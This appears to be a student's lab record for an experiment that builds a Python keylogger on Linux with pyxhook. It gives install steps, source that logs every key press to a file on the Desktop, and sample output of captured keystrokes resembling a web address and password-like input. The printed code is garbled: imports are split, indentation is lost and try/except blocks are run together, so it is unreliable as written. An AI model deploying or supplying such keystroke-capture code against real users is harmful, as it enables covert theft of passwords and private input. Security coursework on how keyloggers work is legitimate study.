EXP NO:7   **DATE: 09/03/24**

KEYLOGERS

Aim: To write a python program to implement keylogger to record keystrokes in Linux.

Algorithm:
- Step 1: Check if python-xlib is installed. If not, type the command: `dnf install python-xlib -y`.
- Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
- Step 3: Create a file named `key.py`.
- Step 4: Run `key.py` to record all keystrokes.
- Step 5: Open the `file.log` file to view all the recorded keystrokes.

Program:

```
import os

import

pyxhook


log_file = os.environ.get('pylogger_file', os.path.expanduser('~/Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0])

if os.environ.get('pylogger_clean', None) is not None:
try:
 os.remove(log_file)
except EnvironmentError:
pass
```

```
def OnKeyPress(event):
with open(log_file, 'a') as f:
 f.write('{}\n'.format(event.Key))


new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()

try:
 new_hook.start() except KeyboardInterrupt: pass
except Exception as ex: msg = 'Error while
catching       events:\n{}'.format(ex)       with
open(log_file, 'a') as f:
 f.write('\n{}'.format(msg))
```

**Outp
ut:**
w w w
period
h d f
c b a
n k
period
c
o m
Return
3
0
0
9
1
2
3
Shift_L
I n
d
i a
9

0 Shift_L dollar
percent

Result:
Thus the python program to implement keylogger to record keystrokes in Linux is
implemented successfully.